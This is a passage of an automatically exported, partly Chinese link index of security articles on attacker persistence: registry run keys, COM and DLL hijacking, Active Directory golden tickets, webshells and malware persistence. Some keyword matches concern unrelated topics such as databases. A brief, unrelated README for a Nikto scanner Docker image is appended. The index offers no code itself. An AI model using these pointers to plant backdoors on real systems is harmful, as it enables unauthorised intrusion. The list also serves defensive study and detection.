a Budget](http://digitalforensicstips.com/2017/10/persistent-monitoring-on-a-budget/) - 2017.10 [stealthbits] [Attack Step 3: Persistence with NTFS Extended Attributes – File System Attacks](https://blog.stealthbits.com/attack-step-3-persistence-ntfs-extended-attributes-file-system-attacks) - 2017.10 [freebuf] [来自后方世界的隐匿威胁:后门与持久代理(一)](http://www.freebuf.com/articles/system/149839.html) - 2017.09 [harmj0y] [An ACE in the Hole - Stealthy Host Persistence via Security Descriptors](https://www.slideshare.net/harmj0y/an-ace-in-the-hole-stealthy-host-persistence-via-security-descriptors) - 2017.09 [nats] [Guest Post: Use cases for persistent logs with NATS Streaming](https://nats.io/blog/use-cases-for-persistent-logs-with-nats-streaming/) - 2017.08 [3gstudent] [Use Logon Scripts to maintain persistence](https://3gstudent.github.io/3gstudent.github.io/Use-Logon-Scripts-to-maintain-persistence/) - 2017.08 [3gstudent] [Use COM Object hijacking to maintain persistence——Hijack explorer.exe](https://3gstudent.github.io/3gstudent.github.io/Use-COM-Object-hijacking-to-maintain-persistence-Hijack-explorer.exe/) - 2017.08 [3gstudent] [Use COM Object hijacking to maintain persistence——Hijack CAccPropServicesClass and MMDeviceEnumerator](https://3gstudent.github.io/3gstudent.github.io/Use-COM-Object-hijacking-to-maintain-persistence-Hijack-CAccPropServicesClass-and-MMDeviceEnumerator/) - 2017.08 [360] [BadGPO:组策略对象在持久化及横向渗透中的应用](https://www.anquanke.com/post/id/86531/) - 2017.07 [activecanopy] [May QBot Persistence and Attack Details](https://activecanopy.com/recent-qbot-attack/) - 2017.07 [3gstudent] [Use msdtc to maintain persistence](https://3gstudent.github.io/3gstudent.github.io/Use-msdtc-to-maintain-persistence/) - 2017.07 [paloaltonetworks] [TwoFace Webshell: Persistent Access Point for Lateral](https://unit42.paloaltonetworks.com/unit42-twoface-webshell-persistent-access-point-lateral-movement/) - 2017.07 [3gstudent] [Use CLR to maintain persistence](https://3gstudent.github.io/3gstudent.github.io/Use-CLR-to-maintain-persistence/) - 2017.07 [3gstudent] [Office Persistence on x64 operating system](https://3gstudent.github.io/3gstudent.github.io/Office-Persistence-on-x64-operating-system/) - 2017.07 [virusbulletin] [Advanced and inept persistent threats to be discussed at VB2017](https://www.virusbulletin.com/blog/2017/07/advanced-and-inept-persistent-threats-be-discussed-vb2017/) - 2017.07 [3gstudent] [Use Office to maintain persistence](https://3gstudent.github.io/3gstudent.github.io/Use-Office-to-maintain-persistence/) - 2017.06 [stealthbits] [Persistence using AdminSDHolder and SDProp](https://blog.stealthbits.com/persistence-using-adminsdholder-and-sdprop/) - 2017.06 [4hou] [Active Directory权限持久控制之恶意的安全支持提供者(SSP)](http://www.4hou.com/system/5475.html) - 2017.06 [3gstudent] [Use AppDomainManager to maintain persistence](https://3gstudent.github.io/3gstudent.github.io/Use-AppDomainManager-to-maintain-persistence/) - 2017.06 [3gstudent] [Use Waitfor.exe to maintain persistence](https://3gstudent.github.io/3gstudent.github.io/Use-Waitfor.exe-to-maintain-persistence/) - 2017.06 [csyssec] [内存持久战之防御措施](http://www.csyssec.org/20170605/memorysafety-defense/) - 2017.06 [blacksunhackers] [利用 AppVerifier 实现函数Hook 及驻留](http://blacksunhackers.club/2017/06/leveraging-application-verifier-for-function-hooking-and-persistence/) - 2017.05 [csyssec] [内存持久战之内存安全性](http://www.csyssec.org/20170513/memorysafety/) - 2017.05 [trustedsec] [Episode 2.7 Tavis breaks the Internet, Executive Orders, Diskless Persistence Methods, and more!](https://www.trustedsec.com/2017/05/episode-2-7-tavis-breaks-internet-executive-orders-diskless-persistence-methods/) - 2017.05 [freebuf] [如何创建Powershell持久隐蔽后门](http://www.freebuf.com/articles/system/133640.html) - 2017.05 [4hou] [Active Directory域渗透的权限持久控制之组策略](http://www.4hou.com/technology/4554.html) - 2017.05 [360] [PowerShell注入技巧:无盘持久性和绕过技术](https://www.anquanke.com/post/id/86012/) - 2017.05 [fireeye] [FIN7 组织使用数据库(.sdb后缀)实现驻留](https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html) - 2017.05 [binarydefense] [PowerShell Injection with Fileless Payload Persistence and Bypass Techniques](https://blog.binarydefense.com/powershell-injection-diskless-persistence-bypass-techniques) - 2017.04 [4hou] [利用Office加载项进行持久化控制的6种姿势](http://www.4hou.com/technology/4509.html) - 2017.04 [360] [利用Office插件实现恶意程序持久化](https://www.anquanke.com/post/id/85966/) - 2017.04 [mwrinfosecurity] [Add-In Opportunities for Office Persistence](https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/) - 2017.04 [4hou] [零日漏洞DoubleAgent的代码注入和持久性攻击技术分析](http://www.4hou.com/technology/4066.html) - 2017.03 [puri] [Yet Another EFI/UEFI Exploit, this one Utilizing NVRAM and Persistent Storage](https://puri.sm/posts/efi-uefi-vault7-exploit-utilizing-nvram-and-persistent-storage/) - 2017.03 [DemmSec] [Guide to Pentesting - Episode 18 - Persistence](https://www.youtube.com/watch?v=kSQeuxdoAcM) - 2017.02 [auth0] [Serverless REST API with Angular, Persistence and Security](https://auth0.com/blog/serverless-angular-app-with-persistence-and-security/) - 2017.01 [adsecurity] [Sneaky Persistence Active Directory Trick #18: Dropping SPNs on Admin Accounts for Later Kerberoasting](https://adsecurity.org/?p=3466) - 2016.11 [vkremez] [Netcat Shell and Persistence](https://www.vkremez.com/2016/11/netcat-shell-and-persistence.html) - 2016.10 [n00py] [Using email for persistence on OS X](https://www.n00py.io/2016/10/using-email-for-persistence-on-os-x/) - 2016.10 [Cooper] [Hack.lu 2016 badGPO - Using GPOs for Persistence and Lateral Movement](https://www.youtube.com/watch?v=PnFszVBEwBY) - 2016.09 [3gstudent] [Netsh persistence](https://3gstudent.github.io/3gstudent.github.io/Netsh-persistence/) - 2016.09 [360] [使用Netshell执行恶意DLL并实现对目标主机的持久化攻击](https://www.anquanke.com/post/id/84648/) - 2016.09 [endgame] [How to Hunt: Detecting Persistence & Evasion with the COM](https://www.endgame.com/blog/technical-blog/how-hunt-detecting-persistence-evasion-com) - 2016.09 [deepsec] [DeepSec2016 Talk: badGPO – Using GPOs for Persistence and Lateral Movement – Yves Kraft & Immanuel Willi](http://blog.deepsec.net/deepsec2016-talk-badgpo-using-gpos-persistence-lateral-movement-yves-kraft-immanuel-willi/) - 2016.08 [blacksunhackers] [Post Exploitation Persistence With Application Shims (Intro)](http://blacksunhackers.club/2016/08/post-exploitation-persistence-with-application-shims-intro/) - 2016.08 [radware] [Dry Lighting Cracks against the Cloud: The Rise of the Advanced Persistent DoS (APDoS)](https://blog.radware.com/security/2016/08/the-rise-of-advanced-persistent-dos-apdos/) - 2016.08 [netspi] [Establishing Registry Persistence via SQL Server with PowerUpSQL](https://blog.netspi.com/establishing-registry-persistence-via-sql-server-powerupsql/) - 2016.07 [objective] [Analyzing 'Mac File Opener' Persistence](https://objective-see.com/blog/blog_0x11.html) - 2016.07 [paloaltonetworks] [Technical Walkthrough: Office Test Persistence Method Used In Recent Sofac](https://unit42.paloaltonetworks.com/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/) - 2016.07 [malwarebytes] [Untangling Kovter’s persistence methods](https://blog.malwarebytes.com/threat-analysis/2016/07/untangling-kovter/) - 2016.07 [korznikov] [RCE by abusing NAC to gain Domain Persistence.](http://www.korznikov.com/2016/07/rce-by-abusing-nac-to-gain-domain.html) - 2016.06 [sentinelone] [Persistence Makes Perfect](https://www.sentinelone.com/blog/malware-variants-like-rawpos-demonstrates-problem-signatures/) - 2016.06 [k7computing] [Interesting Persistence Technique](https://blog.k7computing.com/?p=5737) - 2016.06 [k7computing] [Interesting Persistence Technique](http://blog.k7computing.com/2016/06/interesting-persistence-technique/) - 2016.06 [imperva] [Black Hat SEO attacks: Persistent Multi-Vector Attacks Prey on Thousands of Legitimate Websites](https://www.imperva.com/blog/2016/06/black-hat-seo-attacks/) - 2016.05 [enigma0x3] [Userland Persistence with Scheduled Tasks and COM Handler Hijacking](https://enigma0x3.net/2016/05/25/userland-persistence-with-scheduled-tasks-and-com-handler-hijacking/) - 2016.05 [cybereason] [Cybereason, SANS Webinar: The End of IOCs: A Case Study on Resolving Persistent Attacks Using Tactics, Techniques, and Procedures](https://www.cybereason.com/blog/cybereason-sans-webinar-the-end-of-iocs-a-case-study-on-resolving-persistent-attacks-using-tactics-techniques-and-procedures) - 2016.05 [cmu] [Persistent Little IP, Aren't You?](https://insights.sei.cmu.edu/cert/2016/05/persistent-little-ip-arent-you.html) - 2016.05 [room362] [WPAD Persistence ·](https://malicious.link/post/2016/wpad-persistence/) - 2016.05 [zonksec] [Persistence Aggressor Script](https://zonksec.com/blog/persistence-aggressor-script/) - 2016.04 [welivesecurity] [Insider threats: A persistent and widespread problem](https://www.welivesecurity.com/2016/04/26/insider-threats-persistent-widespread-problem/) - 2016.04 [jerrygamblin] [Persistent Reverse-SSH Tunnel on a RaspberryPi](https://jerrygamblin.com/2016/04/23/persistent-reverse-ssh-tunnels-on-a-raspberrypi/) - 2016.04 [nextplatform] [Programming For Persistent Memory Takes Persistence](https://www.nextplatform.com/2016/04/21/programming-persistent-memory-takes-persistence/) - 2016.04 [netspi] [Maintaining Persistence via SQL Server – Part 2: Triggers](https://blog.netspi.com/maintaining-persistence-via-sql-server-part-2-triggers/) - 2016.03 [adsecurity] [Sneaky Active Directory Persistence #17: Group Policy](https://adsecurity.org/?p=2716) - 2016.03 [adsecurity] [Sneaky Active Directory Persistence #16: Computer Accounts & Domain Controller Silver Tickets](https://adsecurity.org/?p=2753) - 2016.03 [netspi] [Maintaining Persistence via SQL Server – Part 1: Startup Stored Procedures](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/) - 2016.02 [powershellempire] [Nothing Lasts Forever: Persistence with Empire](http://www.harmj0y.net/blog/empire/nothing-lasts-forever-persistence-with-empire/) - 2016.02 [checkpoint] [HummingBad: A Persistent Mobile Chain Attack | Check Point Software Blog](https://blog.checkpoint.com/2016/02/04/hummingbad-a-persistent-mobile-chain-attack/) - 2016.02 [cybereason] [NSA: Hackers use persistence, not zero days, to breach companies](https://www.cybereason.com/blog/nsa-hackers-use-persistence-not-zero-days-to-breach-companies) - 2016.01 [countercept] [Effective Persistent Threats - Sophistication, Economics & Complexity](https://countercept.com/blog/effective-persistent-threats-sophistication-economics-and-complexity/) - 2016.01 [acolyer] [Blurred Persistence: Efficient Transactions in Persistent Memory](https://blog.acolyer.org/2016/01/21/blurred-persistence/) - 2016.01 [] [自建CDN防御DDoS(1):知己知彼,建设持久防线](http://www.91ri.org/15084.html) - 2015.12 [arno0x0x] [Configure Fail2Ban for permanent and persistent bans](https://arno0x0x.wordpress.com/2015/12/30/fail2ban-permanent-persistent-bans/) - 2015.12 [rapid7] [12 Days of HaXmas: Advanced Persistent Printer](https://blog.rapid7.com/2015/12/26/advanced-persistant-mfp/) - 2015.11 [malwarejake] [Kerberos silver tickets - unique attacker persistence](http://malwarejake.blogspot.com/2015/11/kerberos-silver-tickets-unique-attacker.html) - 2015.11 [secist] [详解:kali之持久加密U盘的制作](http://www.secist.com/archives/1265.html) - 2015.10 [] [巧用DSRM密码同步将域控权限持久化](http://www.91ri.org/14442.html) - 2015.10 [freebuf] [域控权限持久化之DSRM](http://www.freebuf.com/articles/system/80968.html) - 2015.10 [room362] [DotNet's DNVM For Persistence On Developer Machines ·](https://malicious.link/post/2015/dotnet-dnvm-for-persistence-on-developer-machines/) - 2015.10 [cybereason] [A New Persistent Attack Methodology Targeting Microsoft OWA](https://www.cybereason.com/blog/microsoft-owa-apt) - 2015.09 [cybertriage] [Maximizing Your Non-Persistent Agent’s Effectiveness](https://www.cybertriage.com/2015/maximizing-your-non-persistent-agents-effectiveness/) - 2015.08 [cybertriage] [Do You Need Persistent Agents to Fight Persistent Threats?](https://www.cybertriage.com/2015/do-you-need-persistent-agents-to-fight-persistent-threats/) - 2015.08 [secist] [MSF之persistence权限维持](http://www.secist.com/archives/740.html) - 2015.07 [shellntel] [Using PowerShell & Unicorn to Get Persistence](https://www.shellntel.com/blog/2015/7/25/using-powershell-unicorn-to-get-persistence) - 2015.04 [paragonie] [Implementing Secure User Authentication in PHP Applications with Long-Term Persistence (Login with "Remember Me" Cookies)](https://paragonie.com/blog/2015/04/secure-authentication-php-with-long-term-persistence) - 2015.02 [virusbulletin] [VB2014 paper: Caphaw - the advanced persistent pluginer](https://www.virusbulletin.com/blog/2015/02/paper-caphaw-advanced-persistent-pluginer/) - 2015.01 [insinuator] [The Persistent Problem of State in IPv6 (Security)](https://insinuator.net/2015/01/the-persistent-problem-of-state-in-ipv6-security/) - 2014.11 [begriffs] [Type-Safe DB Access with Persistent](https://begriffs.com/posts/2014-11-18-typesafe-db-persistent.html) - 2014.10 [firebitsbr] [Setar variável persistente do $GOPATH no Fedora 20](https://firebitsbr.wordpress.com/2014/10/23/1374/) - 2014.10 [enigma0x3] [Persistence using Microsoft Outlook](https://enigma0x3.net/2014/10/14/persistence-using-microsoft-outlook/) - 2014.10 [knapsy] [Persistence VM Writeup](http://blog.knapsy.com/blog/2014/10/05/persistence-vm-writeup/) - 2014.09 [leonjza] [From Persistence](https://leonjza.github.io/blog/2014/09/18/from-persistence/) - 2014.09 [room362] [OSX Persistence via PHP Webshell ·](https://malicious.link/post/2014/osx-persistence-via-php-webshell/) - 2014.09 [sans] [Odd Persistent Password Bruteforcing](https://isc.sans.edu/forums/diary/Odd+Persistent+Password+Bruteforcing/18621/) - 2014.09 [kaspersky] [A solution for small businesses’ persistent IT security issues](https://www.kaspersky.com/blog/a-solution-for-small-businesses-persistent-it-security-issues/2509/) - 2014.07 [securityintelligence] [Citadel’s New Trick: Persistent Device Remote Control](https://securityintelligence.com/citadels-new-trick-persistent-device-remote-control/) - 2014.07 [malwarebytes] [PUPS are Persistent](https://blog.malwarebytes.com/threat-analysis/2014/07/pups-are-persistent/) - 2014.06 [bluescreenofjeff] [Semi-Persistence](https://bluescreenofjeff.com/2014-06-26-Semipersistence/) - 2014.06 [trendmicro] [Best security practices for preventing advanced persistent attacks](http://blog.trendmicro.com/best-security-practices-preventing-advanced-persistent-attacks/) - 2014.05 [offensive] [Kali Encrypted USB Persistence](https://www.offensive-security.com/kali-linux/kali-encrypted-usb-persistence/) - 2013.12 [welivesecurity] [Did you say "Advanced" Persistent Threats?](https://www.welivesecurity.com/2013/12/06/did-you-say-advanced-persistent-threats/) - 2013.08 [wordfence] [Got a persistent scraper? Here’s how to deal with them, permanently!](https://www.wordfence.com/blog/2013/08/got-a-persistent-scraper-heres-how-to-deal-with-them-permanently/) - 2013.07 [windowsir] [HowTo: Detecting Persistence Mechanisms](http://windowsir.blogspot.com/2013/07/howto-detecting-persistence-mechanisms.html) - 2013.05 [firebitsbr] [Exploit Python – F5 BIG-IP Cookie Persistence](https://firebitsbr.wordpress.com/2013/05/06/exploit-python-f5-big-ip-cookie-persistence/) - 2012.10 [trendmicro] [PE_XPAJ: Persistent File Infector](https://blog.trendmicro.com/trendlabs-security-intelligence/pe_xpaj-persistent-file-infector/) - 2012.08 [privacy] [Shaping Tomorrow’s Security Today 4: Advanced Persistent Protection](http://privacy-pc.com/articles/shaping-tomorrow%e2%80%99s-security-today-4-advanced-persistent-protection.html) - 2011.10 [krebsonsecurity] [Chasing APT: Persistence Pays Off](https://krebsonsecurity.com/2011/10/chasing-apt-persistence-pays-off/) - 2011.09 [trendmicro] [The Persistent Threat of Fake AV](http://blog.trendmicro.com/the-persistent-threat-of-fake-av/) - 2011.08 [securityinnovation] [Use Named Queries with Java Persistence API (JPA)](https://blog.securityinnovation.com/blog/2011/08/use-named-queries-with-java-persistence-api-jpa.html) - 2011.05 [krebsonsecurity] [Advanced Persistent Tweets: Zero-Day in 140 Characters](https://krebsonsecurity.com/2011/05/advanced-persistent-tweets-zero-day-in-140-characters/) - 2010.12 [immunityinc] [Aleatory Persistent Threat](https://www.immunityinc.com/downloads/APT_kiwicon.pdf) - 2010.10 [sans] [Digital Forensics: Persistence Registry keys](https://digital-forensics.sans.org/blog/2010/10/20/digital-forensics-autorun-registry-keys) - 2010.09 [depthsecurity] [Super-Persistent Cookies - evercookie JavaScript API](https://depthsecurity.com/blog/super-persistent-cookies-evercookie-javascript-api) - 2010.08 [trendmicro] [The Persistence of FAKEAV](https://blog.trendmicro.com/trendlabs-security-intelligence/the-persistence-of-fakeav/) - 2010.08 [immunityinc] [Aleatory Persistent Threat](https://www.immunityinc.com/downloads/APT.pdf) - 2010.04 [rapid7] [Persistent Meterpreter over Reverse HTTPS](https://blog.rapid7.com/2010/04/13/persistent-meterpreter-over-reverse-https/) - 2005.02 [sans] [More CA BrightStor ARCserve Backup... Is your IDS/IPS Dead?... And Persistent Netcat Listener with While Loop](https://isc.sans.edu/forums/diary/More+CA+BrightStor+ARCserve+Backup+Is+your+IDSIPS+Dead+And+Persistent+Netcat+Listener+with+While+Loop/458/) - 2003.04 [imperialviolet] [Persistence](https://www.imperialviolet.org/2003/04/17/persistence.html) *** ## <a id="e63f08b4b1c54539573027e192270441"></a>文章-pentestlab - 2020.05 [pentestlab] [Persistence – COM Hijacking](https://pentestlab.blog/2020/05/20/persistence-com-hijacking/) - 2020.03 [pentestlab] [Persistence – DLL Hijacking](https://pentestlab.blog/2020/03/04/persistence-dll-hijacking/) - 2020.02 [pentestlab] [Persistence – RID Hijacking](https://pentestlab.blog/2020/02/12/persistence-rid-hijacking/) - 2020.02 [pentestlab] [Persistence – WaitFor](https://pentestlab.blog/2020/02/04/persistence-waitfor/) - 2020.01 [pentestlab] [Persistence – Modify Existing Service](https://pentestlab.blog/2020/01/22/persistence-modify-existing-service/) - 2020.01 [pentestlab] [Persistence – Winlogon Helper DLL](https://pentestlab.blog/2020/01/14/persistence-winlogon-helper-dll/) - 2020.01 [pentestlab] [Persistence – Image File Execution Options Injection](https://pentestlab.blog/2020/01/13/persistence-image-file-execution-options-injection/) - 2020.01 [pentestlab] [Persistence – AppInit DLLs](https://pentestlab.blog/2020/01/07/persistence-appinit-dlls/) - 2020.01 [pentestlab] [Persistence – Change Default File Association](https://pentestlab.blog/2020/01/06/persistence-change-default-file-association/) - 2019.12 [pentestlab] [Persistence – Application Shimming](https://pentestlab.blog/2019/12/16/persistence-application-shimming/) - 2019.12 [pentestlab] [Persistence – Office Application Startup](https://pentestlab.blog/2019/12/11/persistence-office-application-startup/) - 2019.11 [pentestlab] [Persistence – Accessibility Features](https://pentestlab.blog/2019/11/13/persistence-accessibility-features/) - 2019.11 [pentestlab] [Persistence – PowerShell Profile](https://pentestlab.blog/2019/11/05/persistence-powershell-profile/) - 2019.11 [pentestlab] [Persistence – Scheduled Tasks](https://pentestlab.blog/2019/11/04/persistence-scheduled-tasks/) - 2019.10 [pentestlab] [Persistence – BITS Jobs](https://pentestlab.blog/2019/10/30/persistence-bits-jobs/) - 2019.10 [pentestlab] [Persistence – Netsh Helper DLL](https://pentestlab.blog/2019/10/29/persistence-netsh-helper-dll/) - 2019.10 [pentestlab] [Persistence – Port Monitors](https://pentestlab.blog/2019/10/28/persistence-port-monitors/) - 2019.10 [pentestlab] [Persistence – Time Providers](https://pentestlab.blog/2019/10/22/persistence-time-providers/) - 2019.10 [pentestlab] [Persistence – Security Support Provider](https://pentestlab.blog/2019/10/21/persistence-security-support-provider/) - 2019.10 [pentestlab] [Persistence – Screensaver](https://pentestlab.blog/2019/10/09/persistence-screensaver/) - 2019.10 [pentestlab] [Persistence – Shortcut Modification](https://pentestlab.blog/2019/10/08/persistence-shortcut-modification/) - 2019.10 [pentestlab] [Persistence – New Service](https://pentestlab.blog/2019/10/07/persistence-new-service/) - 2019.10 [pentestlab] [Persistence – Registry Run Keys](https://pentestlab.blog/2019/10/01/persistence-registry-run-keys/) *** ## <a id="396a097eb8cc253fd43f518f1ea43168"></a>文章-恶意代码 - 2020.01 [fortinet] [Using a Security-Driven Network to Address Persistent IoT Botnets](https://www.fortinet.com/blog/industry-trends/security-driven-network-addressing-IoT-botnets.html) - 2019.11 [flashpoint] [Threat Actors Demonstrate Persistent Interest in ATM Malware](https://www.flashpoint-intel.com/blog/threat-actors-demonstrate-persistent-interest-in-atm-malware/) - 2019.09 [4hou] [剖析僵尸网络使用的多种持久化方法:MyKings新变种分析](https://www.4hou.com/technology/19801.html) - 2019.09 [4hou] [垃圾邮件攻击活动滥用PHP函数实现驻留,并使用被入侵的设备绕过检测](https://www.4hou.com/web/20185.html) - 2019.09 [trendmicro] [Spam Campaign Abuses PHP Functions for Persistence, Uses Compromised Devices for Evasion and Intrusion](https://blog.trendmicro.com/trendlabs-security-intelligence/spam-campaign-abuses-php-functions-for-persistence-uses-compromised-devices-for-evasion-and-intrusion/) - 2019.08 [sentinelone] [Gootkit Banking Trojan | Part 2: Persistence & Other Capabilities](https://www.sentinelone.com/blog/gootkit-banking-trojan-persistence-other-capabilities/) - 2019.05 [proofpoint] [New KPOT v2.0 stealer brings zero persistence and in-memory features to silently steal credentials](https://www.proofpoint.com/us/threat-insight/post/new-kpot-v20-stealer-brings-zero-persistence-and-memory-features-silently-steal) - 2019.05 [sans] [Finding Registry Malware Persistence with RECmd](https://digital-forensics.sans.org/blog/2019/05/07/malware-persistence-recmd) - 2019.04 [sans] [Offline Autoruns Revisited - Auditing Malware Persistence](https://digital-forensics.sans.org/blog/2019/04/29/offline-autoruns-revisited) - 2019.01 [ColinHardy] [Using WhatsApp for Malware Persistence](https://www.youtube.com/watch?v=yaGPWmvjKu4) - 2018.10 [arxiv] [[1810.07321] Malware triage for early identification of Advanced Persistent Threat activities](https://arxiv.org/abs/1810.07321) - 2018.07 [sucuri] [Persistent Malicious Redirect Variants](https://blog.sucuri.net/2018/07/persistent-malicious-redirect-variants.html) - 2018.06 [az4n6] [Malicious PowerShell in the Registry: Persistence](http://az4n6.blogspot.com/2018/06/malicious-powershell-in-registry.html) - 2018.05 [lastline] [Web Security for Advanced Malware and Persistent Threats – Revisited](https://www.lastline.com/blog/web-security-for-advanced-malware-and-persistent-threats-revisited/) - 2018.05 [virusbulletin] [Hide'n'Seek IoT botnet adds persistence](https://www.virusbulletin.com/blog/2018/05/hidenseek-iot-botnet-adds-persistence/) - 2018.05 [secplicity] [The Hide ‘N Seek IoT Botnet Just Unlocked a New Achievement: Persistence](https://www.secplicity.org/2018/05/08/the-hide-n-seek-iot-botnet-just-unlocked-a-new-achievement-persistence/) - 2018.05 [bitdefender] [Hide and Seek IoT Botnet resurfaces with new tricks, persistence](https://labs.bitdefender.com/2018/05/hide-and-seek-iot-botnet-resurfaces-with-new-tricks-persistence/) - 2018.03 [vkremez] [Let's Learn: Internals of Iranian-Based Threat Group "Chafer" Malware: Autoit and PowerShell Persistence](https://www.vkremez.com/2018/03/investigating-iranian-threat-group.html) - 2018.03 [lastline] [The Persistent Threat of Account and Identity Theft Malware](https://www.lastline.com/blog/account-and-identity-theft-malware/) - 2018.01 [cylance] [Threat Spotlight: Kovter Malware Fileless Persistence Mechanism](https://www.cylance.com/en_us/blog/threat-spotlight-kovter-malware-fileless-persistence-mechanism.html) - 2018.01 [hyperiongray] [Malicious Excel DDE Execution with ML AV Bypass and Persistence](https://blog.hyperiongray.com/excel-dde-exploitation-and-ml-av-bypass/) - 2017.10 [vmray] [Persistent Emotet Malware with a Crafty Social Engineering Technique](https://www.vmray.com/cyber-security-blog/persistent-emotet-malware-social-engineering-technique/) - 2017.10 [vmray] [Persistent Emotet Malware with a Crafty Social Engineering Technique](https://www.vmray.com/blog/persistent-emotet-malware-social-engineering-technique/) - 2017.10 [angelalonso] [Analysis of a malicious DOC used by Turla APT group; hunting persistence via PowerShell](http://blog.angelalonso.es/2017/10/analysis-of-malicious-doc-used-by-turla.html) - 2017.09 [vkremez] [Let's Learn: Reversing Trickbot Banking Trojan's New "WormShare" Persistence Module](https://www.vkremez.com/2017/09/lets-learn-reversing-trickbot-banking.html) - 2017.08 [vmray] [Poweliks Malware – Filelessly Persistent](https://www.vmray.com/blog/poweliks-fileless-malware-analysis/) - 2017.07 [trustedsec] [Episode 2.8 – NSA and Exploit Tools, Petya, Russia, and Ransomware, systemd, Deathstar, and Office persistence methods](https://www.trustedsec.com/2017/07/episode-2-8-july-3rd-2017-nsa-exploit-tools-petya-russia-ransomware-systemd-deathstar-office-persistence-methods/) - 2017.05 [hshrzd] [作者之前发布“诡异的恶意代码驻留方式”,一些读者询问 extension handler 劫持的细节,于是作者在这篇 Blog 中做了详细解析。](https://hshrzd.wordpress.com/2017/05/25/hijacking-extensions-handlers-as-a-malware-persistence-method/) - 2017.05 [tarlogic] [Persistence in WordPress using backdoors in SQL](https://www.tarlogic.com/en/blog/backdoors-in-sql-wordpress/) - 2016.11 [vkremez] [Post Exploitation: Persistence and Backdoor](https://www.vkremez.com/2016/11/post-exploitation-persistence-and.html) - 2016.10 [securitygossip] [Persistent Data-only Malware: Function Hooks Without Code](http://securitygossip.com/blog/2016/10/12/2016-10-12/) - 2016.10 [sjtu] [Persistent Data-only Malware: Function Hooks Without Code](https://loccs.sjtu.edu.cn/gossip/blog/2016/10/12/2016-10-12/) - 2016.06 [esentire] [Malware and Advanced Persistent Threats - How Long is Too Long to go Undetected?](https://www.esentire.com/blog/malware-and-advanced-persistent-threats-how-long-is-too-long-to-go-undetected/) - 2016.04 [cybrary] [S3SS10N Wednesday – Malware Persistence 101](https://www.cybrary.it/2016/04/s3ss10n-wednesday-malware-persistence-101/) - 2016.03 [airbuscybersecurity] [Fileless Malware – A Behavioural Analysis Of Kovter Persistence](http://blog.airbuscybersecurity.com/post/2016/03/FILELESS-MALWARE-%E2%80%93-A-BEHAVIOURAL-ANALYSIS-OF-KOVTER-PERSISTENCE) - 2015.09 [wroot] [Babadook: Connection-less Powershell Persistent and Resilient “Backdoor”](https://wroot.org/posts/babadook-connection-less-powershell-persistent-and-resilient-backdoor/) - 2015.06 [f5] [Slave Malware Analysis: Evolving from IBAN Swaps to Persistent Webinjects](https://f5.com/labs/articles/threat-intelligence/malware/slave-malware-analysis-evolving-from-iban-swaps-to-persistent-webinjects-22439) - 2015.06 [securelist] [The Duqu 2.0 persistence module](https://securelist.com/the-duqu-2-0-persistence-module/70641/) - 2015.06 [openanalysis] [Malware Persistence: HKEY_CURRENT_USER Shell Extension Handlers](https://oalabs.openanalysis.net/2015/06/04/malware-persistence-hkey_current_user-shell-extension-handlers/) - 2015.05 [jumpespjump] [Many ways of malware persistence (that you were always afraid to ask)](https://jumpespjump.blogspot.com/2015/05/many-ways-of-malware-persistence-that.html) - 2014.10 [virusbulletin] [Paper: Invading the core: iWorm's infection vector and persistence mechanism](https://www.virusbulletin.com/blog/2014/10/paper-invading-core-iworm-s-infection-vector-and-persistence-mechanism/) - 2014.10 [virusbulletin] [VB2014 paper: Methods of malware persistence on Mac OS X](https://www.virusbulletin.com/blog/2014/10/paper-methods-malware-persistence-mac-os-x/) - 2014.10 [f5] [Tinba Malware: Domain Generation Algorithm Means New, Improved, and Persistent](https://f5.com/labs/articles/threat-intelligence/malware/tinba-malware-domain-generation-algorithm-means-new-improved-and-persistent-22440) - 2014.08 [virusbulletin] [VB2014 preview: Methods of malware persistence on Mac OS X](https://www.virusbulletin.com/blog/2014/08/preview-methods-malware-persistence-mac-os-x/) - 2014.07 [securityintelligence] [Bootkits: Deep Dive Into Persistence Mechanisms Used by Bootkits at HOPE X Conference](https://securityintelligence.com/bootkits-deep-dive-into-persistence-mechanisms-used-by-bootkits-at-hope-x-conference/) - 2014.01 [igorkorkin] [30C3: Persistent, Stealthy, Remote-controlled Dedicated Hardware Malware](https://igorkorkin.blogspot.com/2014/01/30c3-persistent-stealthy-remote.html) - 2013.03 [sans] [Wipe the drive! Stealthy Malware Persistence - Part 4](https://isc.sans.edu/forums/diary/Wipe+the+drive+Stealthy+Malware+Persistence+Part+4/15460/) - 2013.03 [sans] [Wipe the drive! Stealthy Malware Persistence - Part 3](https://isc.sans.edu/forums/diary/Wipe+the+drive+Stealthy+Malware+Persistence+Part+3/15448/) - 2013.03 [sans] [Wipe the drive! Stealthy Malware Persistence - Part 2](https://isc.sans.edu/forums/diary/Wipe+the+drive+Stealthy+Malware+Persistence+Part+2/15406/) - 2013.03 [sans] [Wipe the drive! Stealthy Malware Persistence Mechanism - Part 1](https://isc.sans.edu/forums/diary/Wipe+the+drive+Stealthy+Malware+Persistence+Mechanism+Part+1/15394/) - 2012.09 [trendmicro] [Advanced Persistent Response Thwarts Malicious Digital Insider](https://blog.trendmicro.com/trendlabs-security-intelligence/advanced-persistent-response-thwarts-malicious-digital-insider/) - 2012.06 [mcafee] [Combating Malware and Advanced Persistent Threats](https://securingtomorrow.mcafee.com/mcafee-labs/combating-malware-and-advanced-persistent-threats/) - 2012.03 [pentestlab] [Metasploit Persistent Backdoor](https://pentestlab.blog/2012/03/17/metasploit-persistent-backdoor/) - 2004.09 [sans] [System Store Trojan, Infection Persistence, Save the Pr0n](https://isc.sans.edu/forums/diary/System+Store+Trojan+Infection+Persistence+Save+the+Pr0n/311/) *** ## <a id="91f798eff3ccabbbb76ab957994aec46"></a>文章-hackingarticles - 2020.05 [hackingarticles] [Persistence: Accessibility Features](https://www.hackingarticles.in/persistence-accessibility-features/) - 2020.04 [hackingarticles] [Domain Persistence: Golden Ticket Attack](https://www.hackingarticles.in/domain-persistence-golden-ticket-attack/) - 2020.04 [hackingarticles] [Persistence: RID Hijacking](https://www.hackingarticles.in/persistence-rid-hijacking/) # 贡献 内容为系统自动导出, 有任何问题请提issue
nikto ====== Docker image for [Nikto web server scanner](https://cirt.net/Nikto2) Usage: $ docker run --rm -it infoslack/nikto -host www.example.com
